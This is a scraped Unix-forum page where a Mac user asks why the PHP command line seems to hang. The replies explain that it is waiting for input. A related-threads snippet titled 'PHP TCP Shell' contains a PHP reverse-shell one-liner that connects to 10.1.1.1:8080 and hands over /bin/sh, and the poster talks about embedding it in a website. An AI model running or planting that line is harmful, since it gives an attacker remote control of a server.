Error when trying to use PHP shell.

 
Thread Tools Search this Thread
Operating Systems OS X (Apple) Error when trying to use PHP shell.
# 1  
Old 07-13-2004
Data Error when trying to use PHP shell.

Hi,

Now that I'm going to be using my Mac as a web host, I decided to use the PHP shell.
However, when I type php straight in the terminal, the session freezes.

Is there anything wrong that I'm doing?
# 2  
Old 07-16-2004
What happens if you type "php -v" ?


Does it really freeze, or can you type and see carriage returns. If so, typing "control+c" will return the prompt.

What happens if you type "man php" ?
Or "which php" ?
# 3  
Old 07-17-2004
When I type "php -v", I get this:
Quote:
PHP 4.3.2 (cli) (built: Sep 13 2003 22:04:20)
Copyright (c) 1997-2003 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2003 Zend Technologies
And then I go back to the BASH prompt (I'm using BASH as my default shell).
When I type "which php", I get the directory which the php Unix application is installed (/usr/bin/php).
And although I did this before I asked the question, I get a manual on the PHP program when I type "man php."

Here's the whole terminal session:
Code:
Last login: Fri Jul 16 21:12:56 on console
Welcome to Darwin!
iMac:~ danny$ php -v
PHP 4.3.2 (cli) (built: Sep 13 2003 22:04:20)
Copyright (c) 1997-2003 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2003 Zend Technologies
iMac:~ danny$ which php
/usr/bin/php
iMac:~ danny$ man php
iMac:~ danny$ logout
[Process completed]

# 4  
Old 07-17-2004
so, if you only type:
Code:
php

followed by a carriage return,
the cursor moves down one line without a prompt?

If so, this is normal. It means php is waiting for the code to execute.

In that case, enter:
Code:
<? phpinfo() ?>

followed by a cariage return and then "control+d".

If you get a long list of settings, then php command line is working as it should.

It just needs to be started, then script/command entered, and told when to process the script/command.
Login or Register to Ask a Question

Previous Thread | Next Thread

8 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

How to tell php to read shell?

.... Solved.... .. .. Hello, I've read couples of similar threads to my question and I strongly believe that I am doing something wrong. What I'm trying to do is to process data with php. It reads data from shell script. Everything goes well but at the end it does not print what it reads... (0 Replies)
Discussion started by: baris35
0 Replies

2. What is on Your Mind?

PHP Fatal Errors During SSL Cert Management - PHP Fatal error: xc_fcntl_mutex failed

Today, I noticed some errors in our SSL cert renewal log files, mostly related to domains where the IP address had changed. Concerned about this, rebuilt out SSL cert, which normally goes well without a hiccup. However, for today, for some reason which I cannot explain, there was a PHP error... (0 Replies)
Discussion started by: Neo
0 Replies

3. Shell Programming and Scripting

Running php index.php as shell in webpage

so i have a bit of a unique situation. i have an encrypted index.php file that that can't be run the normal way that a web browser would run it. if it is run the normal way, the php script will show only gibberish on the web browser, instead of the actual php code. when run from the command... (8 Replies)
Discussion started by: SkySmart
8 Replies

4. Shell Programming and Scripting

PHP TCP Shell

Hello, I am able to use the following code to test a shell connection using the local PHP interpreter which works fine: php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");' However when ever I embed this code into my HTTP accessible web site as follows, I get a connection... (1 Reply)
Discussion started by: landossa
1 Replies

5. Shell Programming and Scripting

Shell Script from PHP not able to cp or mv or anything

Hi there, For some reason my maintenance mode shell script is not working. Both shell scripts are chmod +x'd, and owned by apache, running from php using exec(), maintenance.html and htaccessmaintenance are both owned by apache. My code is: #/bin/bash cp maintenance.html... (2 Replies)
Discussion started by: CharlesKirk
2 Replies

6. Shell Programming and Scripting

Error with using a shell command(looks more generic error)

Hi, This error is actually out of implementing the command posted here - https://www.unix.com/shell-programming-scripting/155589-remove-blank-lines-merge-lines-shell.html Here is the error i get - awk: Input line xxxxx cannot be longer than 3,000 bytes. The source line number is 1.... (1 Reply)
Discussion started by: dvah
1 Replies

7. Shell Programming and Scripting

Error PHP Fatal error: Allowed memory size of 67108864 bytes exhausted(tried to allocate 401 bytes)

While running script I am getting an error like Few lines in data are not being processed. After googling it I came to know that adding such line would give some memory to it ini_set("memory_limit","64M"); my input file size is 1 GB. Is that memory limit is based on RAM we have on... (1 Reply)
Discussion started by: elamurugu
1 Replies

8. UNIX for Dummies Questions & Answers

awk Shell Script error : "Syntax Error : `Split' unexpected

hi there i write one awk script file in shell programing the code is related to dd/mm/yy to month, day year format but i get an error please can anybody help me out in this problem ?????? i give my code here including error awk ` # date-month -- convert mm/dd/yy to month day,... (2 Replies)
Discussion started by: Herry
2 Replies
Login or Register to Ask a Question